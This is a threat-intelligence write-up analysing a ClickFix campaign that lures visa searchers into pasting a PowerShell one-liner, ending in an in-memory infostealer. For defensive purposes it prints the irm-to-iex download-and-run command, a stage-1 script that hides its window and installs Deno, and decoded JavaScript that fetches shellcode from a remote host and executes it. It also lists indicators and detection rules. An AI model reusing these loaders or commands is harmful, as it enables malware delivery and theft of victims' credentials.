ClickFix campaigns change their lures, domains and payloads every few weeks, so an analyst on the iSecRadar DFIR team regularly hunts for new ones. During one of these hunts, the analyst came across an Arabic-language website (elsayedelaraby[.]com) ranking among the top Google results for the steps of a family visit visa in Saudi Arabia. Instead of the expected visa article, the page showed a Cloudflare-style "Verify you are human" box. Clicking the checkbox did not verify anything. It showed "Additional Verification Required" and four steps:

  1. Press Win + X
  2. Press I, or select Terminal in the menu
  3. Press Ctrl + V to paste the command
  4. Press Enter to continue

No real CAPTCHA asks you to open a terminal. This is ClickFix: the page silently copies a malicious command to your clipboard and then tricks you into running it yourself. Because you run it, it gets past email filters, download warnings and most browser protections. This was the find the hunt was looking for: a live, previously unreported ClickFix campaign. Our analyst did not follow the steps. Instead, the iSecRadar DFIR team collected the command and every stage behind it, and analysed them in an isolated lab. This post walks through what we found so you can recognise this campaign and defend against it.

The site itself is most likely a legitimate site that has been compromised, not the attacker's own. Its visitors, searching for real government procedures, are the victims.

ClickFix attack chain with MITRE ATT&CK mapping and IOCs (click to enlarge)
ClickFix attack chain with MITRE ATT&CK mapping and IOCs (click to enlarge)

Stage 1: the pasted command

The clipboard held a single PowerShell line:

irm 'https://checkvbrowsenterprise[.]com/std?sid=1793378110641-7i5lshnm'|iex

irm (Invoke-RestMethod) downloads text from the URL and iex (Invoke-Expression) runs it straight away, so nothing is saved to disk first. The command changes on every page load. Each visit gets a new sid made of the current Unix time in milliseconds plus eight random characters, for example 1793378142772-1d941b9m and 1793378169811-sd33ymhr. That lets the operator track each victim, serve the next stage only once, and make sure no two victims share the same command line. Matching on the exact string will not work. Match on the pattern instead: irm or iwr piped into iex.

The /std endpoint returns the real stage-1 script:

Add-Type -MemberDefinition '[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr h,int c); ... GetConsoleWindow() ...' -Name W -Namespace N
$h=[N.W]::GetConsoleWindow(); ... [N.W]::ShowWindow($h,0)
echo Y|winget install DenoLand.Deno -h
$d=(where.exe /r "$env:LOCALAPPDATA\Microsoft\WinGet" deno.exe|Select -First 1)
& $d run -A https://checkvbrowsenterprise[.]com/stdtscode?sid=<victim-id>

Line by line:

  • It compiles a small C# class in memory to call Windows APIs, then calls ShowWindow(..., 0) to hide the terminal window. The victim sees it vanish and assumes the "verification" worked.
  • It uses winget, Microsoft's own package manager, to silently install Deno, a legitimate and signed JavaScript runtime. Nothing malicious is downloaded at this point, so allow-lists and reputation checks are satisfied.
  • It finds deno.exe in the user's WinGet folder and runs a remote script with -A (all permissions: file system, network, process and native code).
  • The sid value is a per-victim tracking ID.

Stage 2: a JavaScript virtual machine

The script served to Deno was heavily protected. Instead of normal JavaScript, it contained a custom bytecode virtual machine: a full interpreter plus two encoded byte strings that are the real program. String scanners and most deobfuscators see only the interpreter.

We wrote a small decoder for the VM's format: a shuffled Base64 alphabet, a tagged constant pool, and optional XOR-shift string encryption. It parses the data without running it. Once decoded, the logic is short:

const k32 = Deno.dlopen("kernel32.dll", { VirtualAlloc, RtlMoveMemory, CreateThread,
                                          WaitForSingleObject, CloseHandle, VirtualFree });
const r = await fetch("https://clickdeliver[.]beer/enterprise/st7f3a9c2.jpg",
                      { headers: { "User-Agent": "powershell" } });
if (!r.ok) Deno.exit(1);
const sc  = new Uint8Array(await r.arrayBuffer());
const mem = VirtualAlloc(null, sc.length, 0x3000, 0x40);   // read-write-execute memory
RtlMoveMemory(mem, sc, sc.length);
WaitForSingleObject(CreateThread(null, 0, mem, null, 0, null), 0xFFFFFFFF);

Deno's FFI (foreign function interface) gives JavaScript direct access to the Windows API. The script downloads a fake .jpg, places it in executable memory and runs it in a new thread inside deno.exe. Nothing is written to disk. The download server only answers requests with the unusual User-Agent: powershell.

Stage 3: an infostealer hiding behind an image

The ".jpg" is a 64-bit Windows executable (267,776 bytes) built on 27 October 2026. It starts with the bytes MZER followed by a call instruction. This layout lets the same file work both as a normal EXE and as raw shellcode: execution jumps to a small loader at the end of the file, which maps the program into memory. That is why stage 2 could simply start a thread on the downloaded bytes.

The binary's strings are encrypted and most of its APIs are resolved at runtime. The few imports left point to its purpose:

  • Host fingerprinting: computer name, user name, command line, keyboard layout
  • Screenshots: BitBlt, GetDIBits, CreateCompatibleBitmap, display enumeration
  • Hidden desktops: CreateDesktopW and OpenDesktopW, used to run a browser out of sight
  • WMI queries through COM, for system, antivirus and virtual-machine checks

This profile matches commodity infostealers in the LummaC2 style, which steal saved browser passwords, session cookies and crypto wallets. When we checked on 30 October 2026, neither VirusTotal nor MalwareBazaar had any record of the sample. Both domains were about ten days old, were registered through the same registrar, and were flagged by only one vendor out of more than ninety. For now, hash-based detection will not catch this campaign.

The full chain

  1. A search result leads to a compromised site that shows a fake Cloudflare check.
  2. The victim pastes an irm ... | iex one-liner into Windows Terminal (MITRE ATT&CK T1204.004).
  3. The downloaded PowerShell hides its window, installs Deno with winget, and runs the stage-2 script.
  4. The VM-obfuscated JavaScript uses Deno FFI to load shellcode into memory (T1620, T1106).
  5. An in-memory infostealer collects credentials, cookies and screenshots.

Indicators of compromise

  • elsayedelaraby[.]com (likely compromised lure site)
  • checkvbrowsenterprise[.]com, paths /std?sid= (PowerShell stage) and /stdtscode?sid= (Deno stage)
  • sid format: 13-digit millisecond timestamp, a hyphen, then 8 lowercase letters and digits
  • clickdeliver[.]beer, path /enterprise/st7f3a9c2.jpg
  • HTTP User-Agent exactly powershell
  • Stage 3 SHA-256: 9c3e29fbc1960a1cf50937136db5576da1cdd1d3c155ac69f96287b9e6e8e032
  • Embedded build values: 27.10.2026 and d9a9254b822e1a80eb0cdceb99716ee4

Detection

These behaviours are worth alerting on even after the domains change:

  • PowerShell command lines or script blocks containing irm or iwr piped into iex, especially with a ?sid= query string
  • powershell.exe or WindowsTerminal.exe running winget install DenoLand.Deno, especially soon after a browser was active
  • deno.exe started with run -A and a remote https:// URL, from %LOCALAPPDATA%\Microsoft\WinGet\Packages\
  • PowerShell script-block logs (Event ID 4104) containing Add-Type with ShowWindow and GetConsoleWindow
  • deno.exe with read-write-execute memory or threads starting outside any loaded module (EDR memory alerts, or Volatility windows.malfind)
  • Proxy logs with the User-Agent powershell, or connections to newly registered domains straight after deno.exe starts
  • The Win+R history key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, and PSReadLine history, for pasted one-liners

What defenders should do

  • Block the indicators above on DNS, proxy and EDR now.
  • Allow script runtimes such as Deno, Node.js and Bun only on machines that need them, and restrict winget for standard users.
  • Turn on PowerShell script-block logging and send it to your SIEM.
  • Teach users one simple rule: a website will never ask you to press Win+X, Win+R or paste anything into a terminal. If one does, close the tab and report it.

If you already ran it

Disconnect the computer from the network. From a different, clean device, change the passwords saved in your browser, sign out of all active sessions (email, Microsoft 365, Google, banking, social media) and turn on multi-factor authentication. Move any crypto assets to a new wallet. If this happened on a work computer, contact your IT or security team straight away: stolen session cookies can bypass passwords and MFA, so a stolen session needs a fast response.

ClickFix works because it turns a habit we all have, proving we are human, into something we do without thinking. Stopping for a moment at "press Win+X" is enough to break the whole chain.